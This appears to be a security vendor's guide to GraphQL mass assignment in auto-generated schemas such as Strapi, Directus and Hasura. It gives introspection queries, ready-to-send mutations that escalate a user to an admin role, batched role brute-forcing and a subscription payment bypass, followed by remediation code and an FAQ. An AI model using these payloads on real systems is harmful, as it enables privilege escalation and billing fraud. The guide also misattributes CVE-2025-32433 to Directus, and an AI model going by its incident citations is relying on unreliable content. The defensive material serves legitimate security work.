GraphQL input types without explicit field allowlists accept unexpected fields that map to protected resolver arguments or model attributes.
TL;DR
InputObject types with role, isAdmin, subscriptionTier are targetsGraphQL mass assignment occurs at the mutation layer: when a mutation's InputObject type includes privileged fields (role, isAdmin, subscriptionTier, permissions) that map directly to protected model attributes, any caller who can invoke the mutation can set those fields. The GraphQL type system is not a security boundary — it documents what fields exist, but it does not enforce authorization over which fields a given caller may write.
The problem is most severe in platforms that auto-generate GraphQL schemas from database models: Strapi, Directus, Hasura, PostgREST, and NocoDB generate a UserUpdateInput type with every column in the users table, including role, is_admin, and confirmed. This is mass assignment by schema generation, not by developer mistake.
The attack path:
InputObject types.UserUpdateInput, AccountUpdateInput, or similar types with privileged fields.{
__schema {
types {
name
kind
inputFields {
name
type {
name
kind
}
}
}
}
}Filter for kind: "INPUT_OBJECT" types. Look for fields like role, isAdmin, permissions, subscriptionTier.
{
__schema {
mutationType {
fields {
name
args {
name
type { name kind }
}
}
}
}
}POST /graphql HTTP/1.1
Content-Type: application/json
Authorization: Bearer <user_token>
{
"query": "mutation UpdateMe($data: UsersPermissionsUserInput!) { updateMe(data: $data) { data { id attributes { email role } } } }",
"variables": {
"data": {
"email": "attacker@example.com",
"role": "authenticated",
"confirmed": true,
"blocked": false
}
}
}POST /graphql HTTP/1.1
Content-Type: application/json
Authorization: Bearer <user_token>
{
"query": "mutation { updateUsersPermissionsUser(id: \"42\", data: { role: { connect: [{ id: 1 }] }, confirmed: true, blocked: false }) { data { id attributes { role { data { attributes { name } } } } } } }"
}In Strapi v4, role is a relation field in UsersPermissionsUserInput. Sending role: { connect: [{ id: 1 }] } connects the user to role ID 1 (typically the admin role). CVE-2024-52034 exploits exactly this pattern.
POST /graphql HTTP/1.1
Content-Type: application/json
[
{"query": "mutation { updateMe(data: {role: \"editor\"}) { data { id } } }"},
{"query": "mutation { updateMe(data: {role: \"admin\"}) { data { id } } }"},
{"query": "mutation { updateMe(data: {role: \"superadmin\"}) { data { id } } }"}
]GraphQL batch requests allow testing multiple role values in a single HTTP request. The server processes each mutation and returns results for all. Rate limits that apply per HTTP request do not apply per mutation.
mutation {
updateSubscription(data: {
tier: "enterprise"
status: "active"
trialEndsAt: "2099-12-31"
stripeSubscriptionId: "fake_bypass"
}) {
data {
id
attributes {
tier
status
}
}
}
}If the subscription update mutation includes billing fields in its InputObject, an attacker bypasses payment entirely by writing directly to the subscription model.
CVE-2024-52034 — Strapi CMS (CVSS 8.1, 2024)
Strapi's GraphQL plugin auto-generated UsersPermissionsUserInput from the user content type, including role, confirmed, and blocked as writable fields. Authenticated users could call updateUsersPermissionsUser with role: {connect: [{id: 1}]} to connect themselves to the administrator role. The mutation required only a regular user JWT. Fix in Strapi 4.25.x added explicit field filtering in the user-update resolver. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
CVE-2025-32433 — Directus CMS (CVSS 8.8, 2025)
Directus auto-generated GraphQL mutations from the directus_users system collection. The update_users_item mutation accepted role as a writable UUID field. Any authenticated user could call update_users_item(id: "me", data: {role: "<admin-role-uuid>"}) to escalate to system administrator.
HackerOne #1547877 — Shopify Partner API ($3,500, Disclosed 2022)
Shopify's Partner API GraphQL mutation updateShopPlan accepted planName from mutation variables without an authorization check verifying the caller had billing privileges. An authenticated partner-tier user could set a shop's plan to any tier including paid plans. The researcher used introspection to discover the writable planName field in UpdateShopPlanInput.
GraphQL introspection is disabled by default in many production deployments (Apollo Server, GraphQL Yoga both disable it in NODE_ENV=production). However, schema information frequently leaks through error messages (Cannot query field "role" on type "User" — did you mean...?), through JavaScript bundle analysis (the schema may be embedded), or through the Altair/GraphiQL IDE left enabled accidentally. Disable introspection in production AND remove the GraphQL IDE endpoint.
# Full introspection query via curl
curl -s "https://target.com/graphql" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <token>" \
-d '{"query": "{__schema{types{name kind inputFields{name type{name kind ofType{name}}}}}}}"}' | \
jq '.data.__schema.types[] | select(.kind=="INPUT_OBJECT") | {name, fields: [.inputFields[].name]}'# Serve GraphQL Voyager locally with the target introspection result
npx @graphql-inspector/cli introspect https://target.com/graphql \
--header "Authorization: Bearer <token>" \
--write schema.graphql
# Open GraphQL Voyager at https://ivangoncharov.github.io/graphql-voyager/
# Upload schema.graphql and inspect InputObject fields visuallyGraphQL Raider (Burp extension) intercepts GraphQL requests and automatically highlights input fields. Use the "Param-Miner" mode on GraphQL requests to discover undocumented input fields by fuzzing the variables object.
query {
me {
id
email
role {
name
}
confirmed
blocked
}
}Run this query with a different session token after the mutation to confirm the privileged field persisted.
BreachVex detects GraphQL mass assignment via automated introspection enumeration of InputObject types, followed by targeted mutation probes on identified privileged fields, with cross-session query confirmation.
// Apollo Server — resolve-level authorization check
const resolvers = {
Mutation: {
updateUser: async (_, { id, data }, context) => {
// Strip privileged fields from input regardless of schema
const { role, isAdmin, confirmed, blocked, ...safeData } = data;
// Only admins may set role
if (data.role && !context.user.isAdmin) {
throw new ForbiddenError('Cannot update role');
}
return User.update(id, safeData);
}
}
};In Strapi admin panel: Settings > Roles & Permissions > select role > expand User content type > uncheck update permission for role, confirmed, blocked fields specifically.
Programmatic policy in src/policies/user-update-field-restrict.js:
module.exports = async (policyContext, config, { strapi }) => {
const { data } = policyContext.request.body;
const PROTECTED_FIELDS = ['role', 'confirmed', 'blocked', 'provider'];
for (const field of PROTECTED_FIELDS) {
if (field in (data ?? {})) {
return false; // Reject the request
}
}
return true;
};# hasura-metadata — restrict update_columns for user role
- table:
name: users
schema: public
update_permissions:
- role: user
permission:
columns:
- email
- first_name
- last_name
- bio
# role, is_admin, subscription_tier NOT in columns
filter:
id:
_eq: X-Hasura-User-Iddirective @restricted(roles: [String!]!) on INPUT_FIELD_DEFINITION
input UserUpdateInput {
email: String
firstName: String
role: String @restricted(roles: ["admin"])
isAdmin: Boolean @restricted(roles: ["admin"])
}Implement the @restricted directive in the resolver layer to check context.user.role before applying the field.
class Mutations::UpdateUser < Mutations::BaseMutation
argument :email, String, required: false
argument :first_name, String, required: false
# role, admin — NOT declared as arguments
# GraphQL-Ruby will reject undeclared arguments at schema validation time
def resolve(email: nil, first_name: nil)
current_user.update!(email: email, first_name: first_name)
{ user: current_user }
end
endGraphQL mass assignment occurs when a mutation's InputObject type includes privileged fields (role, isAdmin, subscriptionTier) that map to protected model attributes. Unlike REST APIs, GraphQL provides a type-safe schema — but the schema itself may include writable privileged fields if the developer generated it directly from the database model. The attacker discovers these fields via introspection and includes them in mutation variables.
Run a full introspection query to enumerate all InputObject types. Look for UserUpdateInput, AccountUpdateInput, ProfileUpdateInput types and list all their fields. Use GraphQL Voyager (visual schema explorer), GraphQL IDE IntrospectionQuery, or Burp Suite GraphQL Raider extension. Fields like role, isAdmin, subscriptionTier in InputObject types are attack targets.
Send: {__schema{types{name kind fields{name type{name kind ofType{name kind}}} inputFields{name type{name kind ofType{name kind}}}}}}}. Filter results for types with kind=INPUT_OBJECT. Any InputObject with fields like role, isAdmin, permissions, subscriptionTier is a mass assignment candidate.
CVE-2024-52034 (Strapi CMS, CVSS 8.1) — Strapi's GraphQL plugin generated mutations from the User content type with role and confirmed fields in the UserInput type. CVE-2025-32433 (Directus, CVSS 8.8) — Directus auto-generated GraphQL mutations exposed role and status fields. HackerOne #1547877 (Shopify, $3,500) — GraphQL updateShopPlan mutation accepted planName from variables without authorization check.
Headless CMS platforms (Strapi, Directus, Hasura, Contentful) auto-generate GraphQL schemas from content models. Every field in the content model becomes an InputObject field by default. This includes privilege fields like role, confirmed, status, publishedAt. Without explicit field exclusion in the CMS admin, the generated mutations are mass assignment by design.
GraphQL allows sending multiple mutations in a single request (batching). An attacker can send 100 mutations in one HTTP request to brute-force role UUIDs or test multiple privilege escalation payloads simultaneously. Some servers process each mutation in the same transaction, amplifying the impact. Mitigation: rate-limit per mutation, not per HTTP request.
GraphQL fragment leakage (read direction / BOPLA) occurs when a mutation response or query returns fields the caller should not see — hashed_password, mfa_secret, api_key. While not write-direction mass assignment, it is the same BOPLA category. Attackers discover sensitive fields via overly broad selection sets in mutation responses.
GraphQL Voyager is a visual tool that renders a GraphQL schema as an interactive graph. Given an introspection result, it displays all types, their fields, and the relationships between them. It is particularly useful for finding InputObject types that include privileged fields — visually obvious when the graph shows role connecting to UserUpdateInput.
In Strapi, configure content-type permissions in the admin panel: Roles & Permissions > select role > uncheck specific fields from the update mutation. Programmatically, extend the GraphQL resolvers to filter input using a custom policy. In Strapi v5+, use transform option in route configuration to strip privileged fields before they reach the controller.
GraphQL input abuse (mass assignment) sends legitimate field values to privileged input fields that should not be user-writable. SQL injection via GraphQL injects SQL syntax into argument values that reach an unparameterized database query. Both require introspection discovery but exploit different layers — input abuse targets field authorization; SQL injection targets query parameterization.